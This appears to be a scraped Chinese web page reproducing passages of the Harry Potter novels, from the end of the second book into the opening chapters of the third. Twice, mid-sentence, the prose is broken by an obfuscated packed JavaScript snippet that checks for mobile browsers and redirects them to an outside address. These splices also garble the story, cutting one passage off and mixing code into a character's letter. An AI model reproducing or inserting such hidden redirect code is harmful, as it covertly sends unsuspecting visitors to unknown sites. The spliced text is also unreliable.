哈利曾经参加过霍格沃茨的几次宴会,但从来没有一次像今天这样奇妙:大家都穿着睡衣,庆祝活动持续了整个晚上。令人难忘的情景太多了:赫敏向他跑来,尖叫着“你解出来了!你解出来了!”。贾斯廷匆匆地从赫奇帕奇的餐桌上赶过来,攥着他的手,没完没了地道歉,说当初不该怀疑他。海格在凌晨三点半的时候出现了,用力拍打着哈利和罗恩的肩膀,使他们吃不住劲,跌倒在装甜食的盘子上。 他和罗恩获得的那四百分,使格兰芬多在学院杯中卫冕成功。麦格教授站起来告诉他们,学校为了款待大家,决定取消考试(“哦,糟糕!”赫敏说)。邓布利多宣布道,很不幸,洛哈特教授下学期不能回来了,因为他需要到别处去找回他的记忆,大家听到这个消息,爆发出一片欢呼,有几位老师也在叫好。在这么多激动人心的事情中,哈利真不知道哪一件最精彩、最美妙。 “真遗憾,”罗恩给自己拿了一块果酱炸面圈,说道,“我倒是越来越喜欢洛哈特了。” 夏季学期剩下来的那段日子,是在一片耀眼的阳光中度过的。 霍格沃茨恢复了正常,只有几个小小的变化:黑魔法防御术的课程取消了(“反正我们在这方面已经有了大量的实践。”罗恩对闷闷不乐的赫敏说),卢修斯·马尔福被开除出了学校董事会。德拉科再也不在学校里趾高气扬地到处走来走去,就好像他是这里的主人似的。相反,他现在整天阴沉着脸,似乎心里充满了怨恨。另一方面,金妮·韦斯莱又恢复了活泼开朗的性格。 一转眼,他们就要乘霍格沃茨特快列车回家了。 哈利、罗恩、赫敏、弗雷德、乔治和金妮单独占了一个隔间。他们充分利用放假前允许使用魔法的最后几个小时。他们玩了“噼啪爆炸”,燃放了弗雷德和乔治的最后几支费力拔烟火,还互相练习了用魔法解除对方的武器。这一套魔法,哈利现在做起来已经很熟练了。 列车快要到达国王十字车站时,哈利突然想起了什么。 “金妮——那天你看见珀西在做什么,他不许你告诉任何人?” “噢,你问那个呀,”金妮咯咯笑着说,“是这样——珀西交了一个女朋友。” 弗雷德把一摞书掉在了乔治头上。 “什么?” “是拉文克劳的级长,叫佩内洛·克里瓦特。”金妮说,“去年暑假,他就是给她写了那么多信。他一直在学校的各个地方跟她秘密约会。一天,我撞见他们在一间空教室里接吻。当她——你们知道——遭到袭击后,他难过极了。你们不会取笑他吧,会吗?”她不安地问。 “做梦也不会这么想。”弗雷德说,不过看他那副高兴的样子,就好像他的生日提前到来了。 “绝对不会。”乔治回答,一边偷偷地笑着。 霍格沃茨特快列车渐渐放慢速度,终于停住了。 哈利抽出他的羽毛笔和一张羊皮纸,转向罗恩和赫敏。 “这叫电话号码。”他对罗恩说,把号码草草地写了两遍,然后把羊皮纸一撕为二,分别递给他们两人。“去年夏天,我对你爸爸说过怎样使用电话,他会明白的。往德思礼家给我打电话,好吗?整整两个月只跟达力说话,我可受不了...” “你姨妈和姨父听了你今年做的这些事情之后,”赫敏说,这时他们下了火车,加入拥挤的人流,慢慢向那道被施了魔法的隔墙走去,“肯定会为你感到骄傲的,是吗?” “骄傲?”哈利说,“难道你糊涂了吗?他们如果听说我好多次都差点死掉,却居然都死里逃生了,他们肯定会被气坏了的...” 然后,他们一起通过入口处,返回到麻瓜世界中。 38. 哈利·波特与阿兹卡班囚徒 哈利·波特十三岁了,将是他在霍格沃茨魔法学校的第三个年头。在他的生日那天,不过白天哈利收到了来自姨夫的一份最为糟糕的生日礼物——玛姬姑妈要来这里住上一个星期!这个女人每次出现在哈利面前都会给哈利带来不愉快的记忆。这次也不例外,她开始无休止的侮辱哈利已经故去的父母,忍无可忍的哈利终于让她成了一个飞向蓝天的人形气球。 怒气冲冲的哈利收拾好行李离开了女贞路四号,在黑暗中他看到了一只巨大的黑狗,但是在瞬间它就失去的踪影。正当哈利疑惑不解的时候,远处驶来了魔法部的骑士公交车。就这样,哈利来到了伦敦的对角巷。而哈利一直对魔法部为什么没有因为他对麻瓜乱施魔法而惩罚他感到疑惑,但渐渐他明白了事情的原委。阿兹卡班的监狱中逃出了被传为万恶不赦的小天狼星布莱克,据说布莱克是伏地魔最为得力的助手,用一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利把笔放在两排牙齿之间咬着,伸手到枕头下面拿墨水瓶和一卷羊皮纸。他慢慢地、很小心地打开墨水瓶,把那支羽毛笔伸进去蘸了蘸,然后开始书写,时不时地停下来聆听。因为如果德思礼家的人去洗手间的路上听到了他的羽毛笔写字的声音,那这整个夏天,他就很可能要被他们锁在楼梯下面的碗柜里。 住在女贞路四号的德思礼一家正是哈利从来不能好好过暑假的原因。弗农姨父、佩妮姨妈以及他们的儿子达力是哈利在世界上仅有的亲戚。他们都是麻瓜,就是说,是不懂魔法的世俗之人,他们对魔法采取的态度仍旧停留在中世纪。 哈利双亲已故,他们生前都是巫师,他们的名字,德思礼一家从来是绝口不提的。 多年来,佩妮姨妈和弗农姨父一直认为,如果他们能够尽量地作践哈利,他们兴许就能够把魔法从哈利身上榨出来。令他们极其愤怒的是,他们一直没有成功。 现在他们天天担惊受怕,怕的是有谁发现哈利过去两年来的大部分时间,一直在培养巫师的霍格沃茨就读。 最近,德思礼一家做得最多的事就是在暑假开始时把哈利的咒语书、魔杖、坩埚和飞天扫帚锁起来,并且不准他和邻居说话。 对于哈利来说。接触不到咒语书可真是不方便,因为霍格沃茨的老师给他布置了一大堆家庭作业和论文,其中之一,就是关于缩身药剂的那篇,特别烦人,那是要交给哈利最不喜欢的老师,斯内普教授的,斯内普正巴不得有个借口罚他留校一个月呢。 因此,哈利在暑假的第一个星期就抓住了一个机会。正当弗农姨父、佩妮姨妈和达力到前花园去欣赏弗农姨父的公司为雇员买的那辆新车(他们说话声音很响,为的是让邻居们也都注意到这辆新车)时,哈利就悄悄下了楼,打开了楼梯下面碗柜上的锁,一把抓出他的几本书,并且把书藏在他自己的卧室里。只要他不在被单上留下墨水渍,德思礼一家就不会知道他在夜里研究魔法。 现在哈利尽量不和他的姨妈姨父发生矛盾,因为他们已经对他不高兴了,这都是因为暑假开始以后的第一个星期里他接到了魔法学校同学的一个电话。 罗恩·韦斯莱是哈利在霍格沃茨学校的一个好朋友,他全家都是巫师。这就是说,他懂得哈利不知道的许多事情,但他从来没有用过电话。倒霉的是,那天接电话的是弗农姨父。 “我是弗农·德思礼。” 这时哈利正好也在房间里,他听到罗恩回答的声音时,不由得愣住了。 “喂?喂?听得见我说话吗?我——找———哈利——波特!” 罗恩使劲地嚷,弗农姨父为此吓了一跳,把电话听筒拿到离他的耳朵足有两英尺远的地方,瞪眼看着它,一脸既是狂怒又是惊骇的表情。 “你是谁?”他对着电话听筒的方向吼道,“你是谁?” “罗恩——韦斯莱!”罗恩吼回来,好像是在对足球场另一端的弗农姨父喊话,“我是——哈利——学校里的——朋友——” 弗农姨父的小眼睛转向哈利,哈利像生了根似的站在当地。 “这里没有什么哈利·波特!”他吼道,现在他手上握的电话听筒离他有一臂之遥,好像怕听筒会爆炸似的。“我不知道你说的是什么学校!再不要打电话给我!我看你敢到我家里来!” 于是他把听筒扔回到电话机上,好像是在扔一个有毒的蜘蛛。 随之而来的痛斥是前所未有的。 “你怎么胆敢把电话号码给这种——像你这样的人!”弗农姨父吼道,唾沫星子溅了哈利一头一脸。 罗恩显然明白他给哈利惹了麻烦,因为他再也没有打电话来过。哈利在霍格沃茨的另外一个好朋友赫敏·格兰杰,也没有和哈利联系过。 哈利猜想是不是罗恩警告过赫敏,叫她不要打电话。罗恩这样做没有必要,因为赫敏是哈利那个年级里最聪明的女巫。她的父母都是麻瓜,她完全懂得怎样打电话,而且她很可能头脑清楚,不会说她是霍格沃茨的。 所以,哈利在长长的五个星期里,没有从他的魔法界朋友那里得到任何信息,而这个暑假和去年暑假一样糟。只有一个小小的改进:在哈利发誓说不会用猫头鹰给他的任何朋友递送信息之后,他得到允许,可以在夜里把他的猫头鹰海德薇放出去。弗农姨父让了步,因为海德薇如果一直关在笼子里,它就会闹个不停。 哈利写完了有关温德林的论述,停下笔来,再度倾听。房子里黑黑的,一片静寂,只有远处传来他那位膀大腰圆的表哥达力的鼾声。一定已经很晚了。哈利的眼睛很疲倦。明天写完这篇论文怎么样...他盖好墨水瓶的盖子,从床底下拖出一个旧枕套来,把电筒、《魔法史》、论文、羽毛笔和墨水瓶都放了进去,然后爬下床来,把这一堆东西放到床底下一块松动的地板下面。最后他站起身来,伸了伸懒腰,看了一下床边的夜光钟所显示的时间。 此刻是凌晨一点。哈利肚子里一阵翻腾。一个小时以前,他满十三岁了,而他刚刚还不知道呢。 哈利极少盼望过生日,这是他的另外一个和平常孩子不一样的地方。他还从来没有得到过任何生日贺卡。德思礼家的人完全忽略了他前两年的生日。他没有理由指望他们会记得他今年的生日。 哈利穿过黑暗的房间,经过海德薇的空空的大笼子,走向窗口。他靠在窗台上,在被单下面待了那么长时间以后,夜晚的凉爽空气拂在他脸上特别舒服。 海德薇已经有两夜没有回来了。哈利并不担心它——以前它也有过这么长时间不回来的情况——但是他希望它很快会回来。它是这所房子里唯一看见他不会退缩的生物。 就一个十三岁的孩子而言,哈利显得很小很瘦,不过去年以来他也长高了几英寸。然而,他乌黑的头发仍旧和以前一样:不管他想什么法子,它们仍旧乱糟糟地不听话。眼镜后面的眼睛闪着明亮的绿色,在前额上的头发中间,明显可见有一道细长的伤疤,伤疤的形状好像是一道闪电。 在哈利所具有的一切与众不同的特点之中,这道伤疤是最特殊的。 十年来,德思礼一家一直硬说这是一次车祸留下的纪念,哈利的父母就是在那次车祸中丧生的。但他们并不是死于车祸,他们是被人杀死的,是被百年以来最可怕的黑巫师伏地魔杀死的。 哈利逃脱了这次厄运,只在前额上留下了这道伤疤,那时,伏地魔的诅咒没有杀死他,反而返回到他自己身上。伏地魔九死一生,逃脱了...但是,自从哈利到霍格沃茨上学以来,曾经与这个魔头面对面地相遇过。哈利站在黑暗的窗口,想起上次的相遇,不能不承认他能活到十三岁,实在是幸运。 他扫视满布星星的天空,寻找海德薇的踪影,也许它嘴里衔着一只晃晃悠悠的死耗子,就这样向着他飞回来了,还等着他的称赞。哈利心不在焉地往外面的屋顶上看去,几秒钟之后才醒悟过来他看到了什么。 在金黄色的月亮照耀之下,一个奇形怪状、歪歪扭扭的黑影正在向哈利这边飞来,而且越来越大。哈利一动不动地站在那里,眼看它飞得越来越低。他迟疑了一刹那,手抓住窗栓,心想是不是应该关上窗子。但那个稀奇古怪的东西飞到了女贞路的一根灯柱上方,于是哈利看出来那是个什么东西,一跳就闪开了。 三只猫头鹰从窗口飞了进来,其中两只护着第三只,那第三只似乎失去了知觉。它们噗的一声落在了哈利的床上,中间的那只灰色的大猫头鹰一头栽了下来,不动了。它的腿上拴着一个大包裹。 哈利马上就认出了这只失去知觉的猫头鹰——它的名字叫埃罗尔,是韦斯莱家养的。哈利立刻冲向床边,解开埃罗尔腿上的带子,拿下那个包裹,然后把埃罗尔放到了海德薇的笼子里。埃罗尔睁开一只朦胧的眼睛,发出一声表示感谢的声音,然后开始喝了几口水。 哈利再去看那两只猫头鹰。其中之一,就是那只大的、雪白的雌猫头鹰,是他自己的海德薇。它也带着一个包裹,而且看上去一副得意洋洋的样子。他解下它的包裹,这时,它用喙轻啄了哈利一下,表示爱抚,然后就穿过房间和埃罗尔站到一处去了。 哈利不认识那第三只猫头鹰,这是只黄褐色的漂亮的猫头鹰,不过他立刻知道了它来自哪里,因为它除了携带着一个小包裹以外,还带有一封信,信封上有霍格沃茨学校的饰章。哈利取下这只猫头鹰携带的邮件,它郑重其事地抖抖羽毛,展开双翼,就从窗口飞向夜空去了。 哈利坐在床上,抓过埃罗尔带来的包裹,一把撕开外面的牛皮纸,看到了用金色纸包起来的礼物,那是他生平第一次收到的生日贺卡。哈利的手有一点儿发抖,他打开了信封。两张纸掉了出来——一张是信,另外一张是剪报。 这张剪报显然是从魔法界的报纸《预言家日报》上剪下来的,因为那张黑白照片上的人物是活动的。 哈利拿起这张剪报,把它抚平,读到了以下的内容:魔法部工作人员得大奖。 魔法部禁止滥用麻瓜物品司主任,亚瑟·韦斯莱获得了《预言家日报》年度大奖加隆奖。兴高采烈的韦斯莱先生告诉《预言家日报》的记者说:“我们将把这笔钱花到夏季埃及旅游上去。我们的大儿子比尔在埃及为古灵阁魔法银行做破咒语的工作。”韦斯莱一家将在埃及待一个月。在霍格沃茨开学以前回来。目前,韦斯莱家有五个孩子在那里上学。 哈利看了看那张活动的照片。他看到韦斯莱家九个人站在金字塔前,都在使劲向他招手,脸上不由得露出了笑容。韦斯莱太太身材小而胖,秃顶的韦斯莱先生却很高大,他们的六个儿子、一个女儿都有一头火红色的头发(尽管这张黑白照片上看不出来)。罗恩正站在这张照片的中间,又高又瘦,他的宠物小耗子斑斑站在他肩上,他的手臂搂着他的妹妹金妮。 哈利想不出谁能比韦斯莱一家更应该得到这么一大笔钱,这家人很好,但是很穷。他拿起罗恩的信,打开来看。 亲爱的哈利:生日快乐!打电话的事我真抱歉。我希望麻瓜们没有让你日子难过。我问过我爸,他说我不应该那么瞎嚷嚷。 埃及真棒。比尔带我们去了所有的金字塔,你真不知道古埃及的巫师对这些金字塔施过多少咒语。妈妈不让比尔到最后一座金字塔里去。那里有许多样子古怪的骨架,是强行进入金字塔的麻瓜们留下的。他们长出了多余的脑袋等等东西来。 我真不能相信我爸竟然得到了《预言家日报》的抽奖!有七百加隆呢!这笔钱大部分都花在这次旅游上了,不过他们要给我买一根新魔杖,以便明年用。 那次罗恩的旧魔杖突然折断了,哈利对这件事记得很清楚。 那次他们两人一起乘车到霍格沃茨去,车撞到了学校禁林的一棵树上,魔杖就此折断了。 我们大约在开学以前一星期回来,我们还要到伦敦去买我的魔杖和我们的新书,会在伦敦遇到你吗?别让麻瓜们扫你的兴!争取到伦敦来吧。 罗恩 珀西当上男生学生会主席了。上周他得到通知的。又及。 哈利又去看那张照片。珀西七年级了,这是他在霍格沃茨的最后一年,他在照片上看起来特别自命不凡。整齐的头发上戴着一顶土耳其帽,他已经洋洋得意地把男生领袖的徽章别在这顶帽子上了,角质边的眼镜在埃及的阳光下闪闪发光。 现在哈利转向给自己的礼物,动手拆开包裹。 包裹里面的东西好像是小型的陀螺。陀螺下面还有罗恩写的一张便条:哈利——这是一个袖珍窥镜。如果周围有什么不可信任的人。它就会发出亮光并且旋转起来。比尔说这等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338722|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于垃圾,是卖给旅游的巫师的,而且这东西不可信赖,因为昨晚晚餐时它一直在发亮。但他不知道弗雷德和乔治已经往他的汤里放了甲虫。 再见 罗恩 哈利把这个袖珍窥镜放在他床边的小桌子上,陀螺在它的尖端部分上取得了平衡,很稳当地站在那里,反映出哈利房间里的钟上发光的指针。他高兴地看着陀螺,看了好几秒钟,然后拿起海德薇带来的包裹。 包裹里面也有一份包扎起来的礼物、一张卡片和一封信,这是赫敏送的。 亲爱的哈利:罗恩写信给我,把他打电话给你弗农姨父的事告诉了我。我真希望你没事。 目前我在法国度假,我不知道怎样才能把这封信送给你——如果海关的人打开了这封信怎么办?——但是海德薇出现了! 我想它希望你确信能收到生日礼物以改变你的心情。我通过猫头鹰订单买到了给你的礼物:《预言家日报》登了这个广告(我让人们把报纸寄给我,能够一直了解魔法界的动态是很好的)。你看到了一星期以前报上登的罗恩一家人的照片吗?我打赌他学到了许多东西,我真的妒忌啊——古埃及的巫师真令人着迷。 法国这里也有些令人感兴趣的魔法。我已经把我的关于魔法史的论文全部改写,为的就是把我在这里发现的一些事情也包括进去。 罗恩说他要在暑假的最后一周到伦敦去。你也能去吗?你的姨妈和姨父会让你去吗?我真希望你能去。如果不能,我会在九月一日的霍格沃茨特别快车上见到你! 爱你的赫敏 罗恩说珀西当上了男生学生会主席。我打赌珀西高兴得不得了。 罗恩对这件事似乎不那么高兴。又及。 哈利又哈哈大笑起来。他放下赫敏的信,拿起了她的礼物。这礼物很沉。他熟悉赫敏,肯定这是本充满了艰难咒语的大书——但他猜错了。他撕开了包装纸,心儿大大地一跳:他看见一个细长的黑色皮匣子,匣子上印着一行银色的字:飞天扫帚维修工具箱。 “哇,赫敏!”哈利低声说道,拉开这匣子的拉链,看看匣子里面的东西。 里面有一大罐弗里特伍德牌子的高度完美的飞天扫帚上光剂、一双银光闪闪的扫帚细枝剪切器、一个可以在长途旅行时装在飞天扫帚上的小小的黄铜指南针,还有一本《飞天扫帚护理手册》。 哈利除了想念朋友以外,对有关霍格沃茨的东西想得最多的就是魁地奇了。 魁地奇是魔术界最受人喜爱的一项运动——危险程度很高,极其令人兴奋,而且是骑在飞天扫帚上玩的。哈利碰巧是玩魁地奇的一把好手:他是百年以来入选霍格沃茨学院队的最年轻的队员。他最心爱的三件宝物之一就是他的光轮2000飞天扫帚。 哈利把这个皮匣子放在一旁,拿起那最后一个包裹。他立刻就认出了牛皮纸上那不整齐的字迹:这件礼物来自海格,他是霍格沃茨的狩猎场看守。他撕开最上面的一层纸,看到了一件绿色皮质的东西,但他还没有来得及好好地打开包装,这个包裹就古怪地颤抖了一下,先不说里面的东西是什么,就厉声大叫起来——好像它是有嘴巴似的。 哈利愣住了。他知道海格绝不会有意送他什么危险的东西,但对什么东西危险,海格的看法是和普通人不一样的。人们知道海格曾经与巨大的毒蜘蛛为友,曾经从小酒吧的客人手里买过有三个脑袋的烈性大狗,还曾经偷偷地把非法的龙蛋拿到了他的小屋里。 哈利神经质地碰碰这个包裹。它又厉声叫了起来。哈利伸手去够床边的灯,一手牢牢地抓住这盏灯,并且把它高举过头,随时准备打下来。然后他另一只手抓住其余的包装纸一拉。 于是里面的东西掉下来了——是一本书。哈利只来得及看到这是一本漂亮的有绿色封面的书,上面印着金色的书名:《妖怪们的妖怪书》,这本书就随即一弹上了床,站立起来,沿着床边急促奔跑,活像某种奇形怪状的螃蟹。 “哦,哦。”哈利低声说。 一声脆响,这本书从床上栽到地上,在房间里急促地拖拖拉拉地走着。哈利偷偷地跟着它。这本书躲到了他书桌下面黑暗的地方。哈利一面心里祷告着德思礼一家千万别醒过来,一面趴在地上去够那本书。 “哇!” 这本书啪的一声在他手上合了起来,然后就拍动着离开了他,仍旧凭借它的封面急促地奔跑着。哈利到处爬行,向前扑去,想把这本书拍倒在她。弗农姨父在隔壁房间发出一声响亮的梦呓。 哈利把这本还在挣扎的书紧紧抱在怀里,海德薇和埃罗尔这两只猫头鹰在一旁饶有兴趣地看着。哈利急忙走到五斗橱那里,拉出一根皮带来,用皮带紧紧捆住这本书。这本书恼怒地颤抖着,但它再也不能急促奔跑和厉声喊叫了。所以哈利把它扔在床上,伸手拿起海格的卡片。 亲爱的哈利:生日快乐!这件东西下一年也许对你有用。不多说了。面谈。 希望麻瓜们对你好。 祝诸事顺利 海格 海格认为一本会咬人的书竟然可能有用,哈利觉得这兆头不好,不过他把海格的贺卡和罗恩的、赫敏的放在一起,脸上的笑意比什么时候都要浓。现在还没有看的只剩下来自霍格沃茨的信了。 哈利注意到这封信比以往的要厚。他撕开封口,抽出里面的第一张羊皮纸读起来:亲爱的波特先生:请注意新学年将在九月一日开始。霍格沃茨特快列车将于十一点钟从国王十字车站9又3/4站台出发。 在某几个周末,三年级学生获准访问霍格莫德。请将随信附上的同意表交给你的父母或监护人签字。随信附上新学年的书单。 你的忠诚的副校长 麦格教授 哈利抽出霍格沃茨学校的同意表来看,脸上的笑容不见了。周末访问霍格莫德村,那真是太棒了;他知道那是个完完全全的魔法村,他还从来没有去过。但他怎么才能说服弗农姨父或是佩妮姨妈签字同意呢?他看看闹钟。此刻已经是凌晨两点了。 哈利决定等到睡醒以后再为霍格莫德村的事发愁,于是他就回到床上,伸手去拿他自己画的那张日历,又划去了一天,他在为回到霍格沃茨的那一天倒计时呢。然后他拿下眼镜,躺了下来,眼睛睁开着,面对着他那三张生日贺卡。 尽管哈利是那么突出地与众不同,此刻他的感觉和一般人是一样的:他生平第一次为过生日而高兴。 40. 玛姬姑妈的大错误 第二天早上,哈利下楼去吃早饭,这时他发现德思礼一家三口都已经坐在厨房的饭桌旁了。 他们正在看一台崭新的电视机,这是为欢迎达力回家过暑假而买给他的礼物,达力一直在大声抱怨,说起居室里的冰箱离电视机太远了。 在夏季的大部分时间,达力都泡在厨房里,他那双贪婪的小眼睛盯着电视机的荧屏,一面不断地吃东西,那五层下巴不断地颤动。 哈利在达力和弗农姨父之间坐下来。弗农姨父是个粗壮的大个子,脖子很短,唇髭很重。 德思礼一家人不但没有祝哈利生日快乐,而且根本没有表示出他们看见哈利走进厨房来了,但哈利对这种冷淡早已习以为常。他自己拿了一片吐司,然后看看电视上的新闻播音员,那播音员正在播报一名在逃罪犯的新闻,正说到了一半。 “...公众必须注意布莱克带有武器,极其危险。已经特地设立了一条热线,谁知道布莱克的踪迹,必须马上报告。” “不用告诉我们他不怀好意,”弗农姨父哼着鼻子说,眼睛越过他正看着的报纸上方瞪着那名犯人,“瞧他那德性,一副脏相!看他那头发!” 他恶意地斜着眼看了哈利一眼,哈利的一头乱发一直使弗农姨父看了就恼怒。然而,屏幕上那个人脸庞瘦削,周围都是纠结在一起、足有一尺长的乱发,与他相比,哈利觉得自己的确很整洁。 新闻播音员又出现在屏幕上了。“农业和渔业部长今天将宣布——” “说下去!”弗农姨父咆哮道,狂怒地盯着这位播音员,“你还没有告诉我们这个疯子是从哪里逃出来的呢!这有什么用?疯子可能就要到这条街上来了!” 佩妮姨妈骨瘦如柴,长着一张马脸,她突然转过身子,目不转睛地从厨房的窗子向外张望。 哈利知道,佩妮姨妈就是热切地想成为拨通热线电话的人。她是世界上最能吵吵嚷嚷的妇人,她一生中大部分时间都花在暗中监视她那些守法而令人厌烦的邻居这件事上了。 “他们什么时候才能明白,”弗农姨父用他那紫色的大拳头擂着桌子说,“只有绞刑才能对付这种人!” “说得是呀。”佩妮姨妈说,她还在斜眼看着邻居家的红花菜豆。 弗农姨父喝干了他的茶,朝手表瞥了一眼,又说:“我不如马上走的好,佩妮,玛姬的火车十点钟就到了。” 哈利本来还在想着楼上的飞天扫帚维修工具箱,听到这句话不禁一跳,很不愉快地回到现实中来了。 “玛姬姑妈?”他脱口问道,“她——她不是要到这里来吧,是吗?” 玛姬姑妈是弗农姨父的姐妹。尽管她不是哈利的血亲(哈利的妈妈和佩妮姨妈是姐妹),但是人们一直逼哈利叫她姑妈。玛姬姑妈住在乡下,房子周围有一个大花园,她在那里养喇叭狗。她不常到女贞路来,因为她舍不得离开她那些珍贵的狗,但她每次来访都给哈利留下可怕的、历历如新的记忆。 在达力五岁的生日宴会上,玛姬姑妈曾经用手杖痛打哈利的小腿,不让他在音乐造型游戏(参加者随音乐声原地旋转,听到音乐终止后立即停住。然后评判各人的滑稽姿势)中胜过达力。几年以后,她在圣诞节的时候来过,给达力的礼物是装有电脑的机器人,给哈利的是一盒狗饼干。 她上一次来访的时候,正是哈利到霍格沃茨上学的前一年,哈利无意中踩了她的爱狗的爪子,这条狗就把哈利一直遭到花园里,把他逼得爬上了树,而玛姬姑妈到了午夜以后才肯把狗叫回屋。德思礼家的人直到现在一说起这件事,仍会捧腹大笑。 “玛姬要在这里住一星期,”弗农姨父咆哮道,“既然我们说到了这件事,”他的一只肥胖的手指着哈利,“在我去接她以前,我们有必要把事情说说清楚。” 达力痴笑起来,把视线从电视上收回了。他看着哈利受父亲的欺负,因为这是他喜爱的娱乐方式。 “第一,”弗农姨父吼道,“不准对玛姬说话无礼。” “好的,”哈利痛苦地说,“只要她对我说话时有礼。” “第二,”弗农姨父说,装作没听见哈利的回答,“玛姬还不知道你那些不正常的地方,所以,她在这里的时候,我可不要——不要看见任何古怪的事情。你要规矩点,听懂了吗?” “只要她守规矩。”哈利咬着牙说。 “还有第三点,”弗农姨父说,现在他那双卑鄙的小眼睛,在他那张紫色的大脸上成了两条缝,“我们已经告诉玛姬,说你上的是圣布鲁斯安全中心少年犯学校。” “什么?”哈利嚷道。 “你必须坚持这样说,小子,要不然就会有麻烦的。”弗农姨父愤怒地说。 哈利坐在那里,心中大怒,气得脸发白,他瞪眼看着弗农姨父,简直不能相信这种说法。 玛姬姑妈要来这里住一个星期——在德思礼家给他的生日礼物中,这是最坏的,包括弗农姨父的那双旧袜子在内。 “好吧,佩妮,”弗农姨父说,沉重地站起身来,“那我就到火车站去了。达力,要和我一起去吗?” “不去。”达力说,既然父亲已经对哈利威胁完毕,他的注意力又回到电视上去了。 “达力为了迎接姑妈的到来,要把自已打扮得漂亮一点,”佩妮姨妈说,抚摸着达力浓密的金发,“妈妈已经给你买了一个可爱的领结。” 弗农姨父拍拍达力那肥厚的肩膀。“那么,回头见了。”弗农姨父说,于是他离开了厨房。 哈利原是被吓得恍惚出神地坐在那里,这时忽然有了主意。他丢下那片吐司,迅速地站起来,跟着弗农姨父走到了前门。弗农姨父正在穿外套。 “我可不带你去。”他回身看见哈利在看着他,就这样吼道。 “好像我想去似的,”哈利冷冷地说,“我有事想问您。” 弗农姨父猜疑地看着他。“霍格——我们学校的三年级学生有时可以访问那座村子。” 哈利说。“那又怎样?”弗农姨父厉声说,从大门旁边的一个钩子上取下车钥匙。 “我需要您给我签字表示同意。”哈利一口气说出来。 “我干吗要同意?”弗农姨父嘲讽地说。“好吧,”哈利说,一面小心地选择字眼,“在玛姬姑妈面前假装我是在圣什么地方上学,这是一桩很难的事...” “圣布鲁斯安全中心少年犯学校!”弗农姨父怒吼道,哈利从他的声音里听出明显有惊慌的成分,心里很高兴。 “正是,”哈利说,镇静地看着弗农姨父那张紫色的大脸,“太长了,不好记啊。我总要说得像那么回事吧?要是我不小心说走了嘴呢?” “你想吃点苦头,是吗?”弗农姨父怒吼起来,举着拳头就冲哈利走过来。但哈利站在原地没动。 “如果我吃了苦头,玛姬姑妈就不会忘记我可能告诉她的事情了。”哈利阴郁地说。 弗农姨父停住了,拳头仍旧举在半空中,脸气得成了紫褐色。 “但是,如果您在我的同意表上签字,”哈利迅速地说下去,“我发誓我会记住我是到哪里去上学的,而且我会像麻——像平常人一样说话做事的。” 哈利可以看出弗农姨父正在考虑,尽管他的牙齿露了出来,太阳穴那里有一根血管在跳动。 “好吧,”他终于厉声说,“玛姬在的时候,我会小心监视你的行为的。如果,一直到最后,你守规矩,一直那么说,我就在你那倒霉的表上签字。” 他转过身去,拉开前门,再使劲关上,他使的劲儿那么大,以至于门顶上玻璃都掉下来一块。 哈利没有回到厨房去。他回到楼上自己的卧室里去了。如果他要像真正的世俗之人一样行事,不如现在就开始。他缓慢而忧伤地把他所有的礼物和生日贺卡收集在一起,再把它们和他的家庭作业一块儿藏到那块松动的地板下面。然后他走向海德薇的笼子。埃罗尔好像已经恢复了,它和海德薇都睡着了,脑袋藏在翅膀下面。哈利叹了口气,然后把它们两个都捅醒了。 “海德薇,”他闷闷不乐地说,“你必须离开这里一星期。和埃罗尔一起去吧,罗恩会照顾你的。我会给他写张便条,向他解释。不要这样地看着我,”海德薇琥珀色的大眼睛充满了谴责的神色,“这不是我的过错。只有这样,我才能得到允许,和罗恩、赫敏一块儿到霍格莫德去。” 十分钟以后,埃罗尔和海德薇(它腿上绑着给罗恩的便条)就飞出了窗子。飞得看不见了。哈利现在感到了彻底的悲哀,他把海德薇的空笼子收到衣橱里去了。 但是哈利沉思的时间并不久。不一会儿,佩妮姨妈就从楼梯那里尖叫着要哈利下楼准备迎接客人了。 哈利认为把自己的头发弄平没有什么意思。玛姬姑妈就是喜欢批评哈利,所以,哈利越是不整洁,她就越高兴。 一会儿工夫,就传来小石子儿的嘎吱声,这是弗农姨父的车子开回门前的车道上了,然后是汽车门关上的声音,还有花园小路上的脚步声。 “到门口去!”佩妮姨妈尖叫着对哈利说道。 哈利心里老大不情愿地打开了门。 玛姬姑妈站在门槛上。她和弗农姨父长得很像:大个子、粗壮、紫色的脸,甚至还有唇髭,只不过没有弗农姨父那样重。她一手提着个巨大的手提箱,另一边的腋下夹着一头脾气很坏的老喇叭狗利皮。 “我的达力宝贝儿哪里去了?”玛姬姑妈叫道,“我的宝贝侄子呢?” 达力摇摇摆摆地从厅里走了过来,他的金发平平地贴在了他那扁平的脑袋上,在他的多层下巴下面,一个领结隐约可见。玛姬姑妈把手提箱一把推到哈利的怀里,抵得他喘不过气来,她一手紧紧搂住达力,同时在达力面颊上大大地亲了一口。 哈利清清楚楚地知道,达力之所以能容忍玛姬姑妈的拥抱,完全是因为他会得到很好的报酬。 事情也果然如此,这两人分开以后,达力的胖拳头里就攥着一张崭新的二十英镑钞票。 “佩妮!”玛姬姑妈叫道,大步跨过哈利,好像哈利只不过是个帽架子似的。 玛姬姑妈和佩妮姨妈亲吻,或者不如说,玛姬姑妈的大下巴在佩妮姨妈瘦瘦的颧骨上撞了一下。 弗农姨父现在进来了,关门的时候显得很高兴。 “喝茶吗,玛姬?”他问,“利皮喝点什么呢?” “利皮从我的茶托里喝一点就成了。”玛姬姑妈说,于是他们鱼贯进入厨房,只留下哈利一个人拿着手提箱站在厅里。 